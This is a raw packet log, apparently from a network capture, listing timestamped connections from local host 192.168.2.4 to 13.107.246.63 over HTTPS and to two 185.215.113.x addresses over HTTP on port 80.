Nov 22, 2024 04:12:21.064802885 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.064870119 CET	49790	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:21.064996958 CET	49790	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:21.065011024 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.632889032 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.633547068 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:21.633558989 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:21.633995056 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:21.634001017 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.068918943 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.069063902 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.069117069 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.076334000 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.076334000 CET	49786	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.076349974 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.076361895 CET	443	49786	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.093324900 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.093368053 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.093425035 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.124120951 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.124139071 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.364748955 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.402580976 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.402625084 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.406375885 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.406383038 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.610487938 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.624557018 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.624577999 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.635154963 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.635164976 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.707367897 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.759474993 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.761579990 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.761594057 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.762105942 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.762111902 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.809751034 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.809899092 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.809959888 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.811788082 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.811814070 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.811825991 CET	49787	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.811832905 CET	443	49787	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.817636967 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.817656994 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.817703009 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.817929029 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.817940950 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.849904060 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.852050066 CET	49790	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.852058887 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:22.852432966 CET	49790	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:22.852437973 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.083358049 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.083446980 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.083688974 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.083730936 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.083740950 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.083753109 CET	49788	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.083758116 CET	443	49788	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.086080074 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.086184978 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.086322069 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.086455107 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.086488008 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.106350899 CET	49754	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:23.106632948 CET	49794	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:23.154568911 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.154637098 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.154706001 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.154795885 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.154809952 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.154822111 CET	49789	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.154829025 CET	443	49789	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.156524897 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.156603098 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.156672955 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.156800985 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.156831980 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.226109982 CET	80	49794	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:23.226177931 CET	49794	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:23.226284981 CET	80	49754	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:23.226339102 CET	49754	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:23.226396084 CET	49794	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:23.294284105 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.294354916 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.294454098 CET	49790	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.294482946 CET	49790	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.294493914 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.294502020 CET	49790	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.294506073 CET	443	49790	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.296313047 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.296325922 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.296379089 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.296472073 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.296483994 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.345841885 CET	80	49794	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:23.974328041 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.974960089 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.974978924 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:23.975389004 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:23.975398064 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.428097010 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.428244114 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.428355932 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.428412914 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.428435087 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.428446054 CET	49791	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.428451061 CET	443	49791	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.430552006 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.430577040 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.430726051 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.430859089 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.430870056 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.597631931 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.599081993 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.599098921 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.599489927 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.599498034 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.618561029 CET	80	49794	185.215.113.43	192.168.2.4
Nov 22, 2024 04:12:24.618628979 CET	49794	80	192.168.2.4	185.215.113.43
Nov 22, 2024 04:12:24.622962952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:24.742428064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:24.743067026 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:24.743406057 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:24.862839937 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:24.870995045 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.872209072 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.872284889 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.872333050 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.872667074 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.872680902 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.872915983 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.872946024 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:24.873281956 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:24.873291969 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.011055946 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.011471987 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.011488914 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.011939049 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.011944056 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.099996090 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.100070000 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.100172043 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.101573944 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.101588011 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.101602077 CET	49792	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.101608038 CET	443	49792	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.104181051 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.104213953 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.104337931 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.104552031 CET	49799	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.104563951 CET	443	49799	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.309431076 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.309499979 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.309588909 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.316028118 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.316206932 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.316330910 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.319933891 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.319933891 CET	49795	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.319976091 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.320002079 CET	443	49795	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.326275110 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.326296091 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.326339006 CET	49793	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.326353073 CET	443	49793	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.347142935 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.347244024 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.347331047 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.353975058 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.354063034 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.354285955 CET	49800	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.354309082 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.354331017 CET	443	49800	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.357681036 CET	49801	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.357722044 CET	443	49801	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.446728945 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.446810007 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.446922064 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.481849909 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.481867075 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.481875896 CET	49796	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.481885910 CET	443	49796	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.486268997 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.486324072 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:25.486397028 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.486607075 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:25.486634970 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:26.138142109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138231993 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138283968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138302088 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138330936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138331890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138349056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138353109 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138374090 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138380051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138390064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138396978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138418913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138422012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138447046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138447046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138462067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138470888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.138494968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.138509989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.258289099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.258357048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.258373976 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.258409023 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.339390039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.339462996 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.339484930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.339541912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.343564987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.343616009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.343653917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.343703032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.352020979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.352097988 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.352123022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.352169037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.360443115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.360496998 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.360542059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.360589027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.368864059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.368917942 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.368973970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.369019985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.377250910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.377326965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.377350092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.377397060 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.385665894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.385709047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.385793924 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.385840893 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.394056082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.394102097 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.394160986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.394211054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.402460098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.402533054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.402578115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.402625084 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.410093069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.410140991 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.410186052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.410232067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.417730093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.417778015 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.417825937 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.417870045 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.458961010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.459085941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.540617943 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.540723085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.540733099 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.540766001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.543102980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.543159008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.543205976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.543256998 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.548211098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.548261881 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.548299074 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.548346996 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.553291082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.553343058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.553407907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.553453922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.558346033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.558396101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.558440924 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.558487892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.563422918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.563474894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.563519955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.563566923 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.568506002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.568577051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.568615913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.568698883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.573590994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.573641062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.573694944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.573834896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.578648090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.578737974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.578773022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.578821898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.583775043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.583827972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.583892107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.583940983 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.588841915 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.588926077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.588962078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.589014053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.592628002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.592678070 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.592725992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.592770100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.596436024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.596504927 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.596549988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.596606016 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.600255013 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.600333929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.600363016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.600411892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.604053020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.604115009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.604160070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.604216099 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.607870102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.607928991 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.607968092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.608031034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.741651058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.741699934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.741748095 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.741792917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.743212938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.743258953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.743294001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.743336916 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.745713949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.745764971 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.745809078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.745855093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.748986006 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.749033928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:26.749047041 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:26.749075890 CET	49798	80	192.168.2.4	185.215.113.16
